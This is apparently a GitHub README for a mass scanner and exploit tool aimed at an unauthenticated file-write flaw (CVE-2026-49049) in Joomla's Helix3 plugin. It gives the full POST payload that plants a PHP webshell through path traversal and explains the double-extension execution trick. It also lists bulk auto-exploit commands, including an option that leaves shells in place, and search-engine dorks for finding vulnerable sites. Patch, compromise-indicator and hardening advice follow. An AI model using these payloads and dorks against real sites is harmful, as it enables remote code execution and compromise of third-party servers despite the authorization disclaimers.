针对 CVE-2026-49049 的批量扫描器 / 验证器:Joomla 的 Helix3 Framework 插件中存在未认证的 AJAX 处理器(v1.0 – 3.1.0,在 3.1.1+ 中已修复)。
仅限授权测试。 只能对您拥有或已获得书面测试许可的系统使用。
位于 plugins/ajax/helix3/helix3.php 中的 onAjaxHelix3() 处理器可通过 Joomla 的 com_ajax 访问,无需认证 / CSRF 令牌:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
野外活跃的大规模利用通常会投放一个双扩展名 webshell:
< 3.1.1layoutName=../../up.php 并附带 PHP webshell 内容执行 savesave 会追加 .json 扩展名 → up.php.json 落入 Web 根目录AddHandler 多扩展名机制执行 .php 部分GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDetect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
依赖要求:requests>=2.31.0、colorama>=0.4.6、Python 3.9+。
编辑 targets.txt — 每行一个 URL / 主机(# = 注释)。会保留 Joomla 路径:
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
不会投放 webshell。检查版本并探测 save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
警告:
--auto模式会尝试通过路径遍历写入 webshell。默认情况下,webshell 会在验证后被自动删除。仅在获得授权的演示中使用--keep。
终端会显示所有状态(进度)。results.txt 只包含存在漏洞的目标:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
其他状态标签(PATCHED、NOT_HELIX3、TIMEOUT、UNKNOWN)仅显示在终端中,不会写入 results.txt。
使用以下 dork 查找可能受影响的 Helix3 / Joomla 资产。仅可扫描已获授权的目标。
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
将 System – Helix3 Framework 和 Helix3 – Ajax 插件更新到 3.1.1 或更高版本(建议 3.1.2)。
更新不会清除已经写入数据库的 payload。
#__template_styles 表的 params 列,看是否有被注入的 custom_js / custom_csstmp / media 中的可疑文件:
up.php.json、cox.json、*.php.json 及其他 webshell常见的被入侵迹象:网页被篡改为 "Hacked by AntonKill" / "trenggalek6etar"、被注入 custom_js、出现未知的 JSON 文件。
Apache — 不要使用多扩展名的 AddHandler;请使用:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
上传 / 文件写入: 重新生成文件名、拒绝多圆点(multi-dot)扩展名、在公共目录中设置 AllowOverride None。
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED Helix3 3.1.1+ (atau NOT_HELIX3 jika plugin di-uninstall)
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
欢迎社区贡献。维护者:ExDev994。
from __future__ import annotations、类型注解)python3 -m py_compile scan.py core/*.py utils/*.py 和 python3 scan.py --help请在 Issues 中报告 bug / 功能请求。请附上:
| 贡献者 | 角色 |
|---|---|
| ExDev994 | 作者 / 维护者 |
该漏洞最初由 Phil Taylor(mySites.guru)报告。本仓库是独立的扫描器实现,与 JoomShaper 或 Open Source Matters 无任何关联。
本工具仅用于教育和授权安全测试目的。
未经授权访问计算机系统属于违法行为,可能违反印度尼西亚 UU ITE、美国 CFAA 以及其他司法辖区的相关法律。
作者(ExDev994)对滥用行为不承担任何责任。使用本软件即表示您对自己的行为承担全部责任。--auto 模式会投放临时 webshell — 请仅对已获授权的目标使用。
| 操作 | 影响 | 受影响版本 |
|---|
save | 任意 JSON 文件写入 + 路径遍历 | 1.0 – 3.1.0 |
remove | 任意文件删除(无扩展名 / 路径限制) | 1.0 – 3.1.0 |
import | 覆盖数据库中的模板参数(custom_js 未转义 → XSS / 网页篡改) | 仅 v3.x |
| Helix3 版本 | save / remove | import | 状态 |
|---|
| 1.0 – 2.x | 存在漏洞 | 不存在 | 存在漏洞 |
| 3.0 – 3.1.0 | 存在漏洞 | 存在漏洞 | 存在漏洞 |
| 3.1.1+ | 已修复 | 已修复 | 安全 |
| Flag | 描述 |
|---|
-f / --file | 目标文件列表(若未指定 -t,默认:targets.txt) |
-t / --target | 单个目标 URL |
--scan | 只读检测 |
--auto | 检测 + RCE 验证(默认) |
-c / --cmd | 用于验证的命令(默认:id) |
-o / --output | 结果文件 — 仅包含 VULN / SHELL_OK 的目标 |
--json | 结构化 JSON 报告 |
--keep | 验证后不自动删除 webshell |
--threads | 并发工作线程数(默认:15) |
--timeout | HTTP 超时(秒)(默认:15) |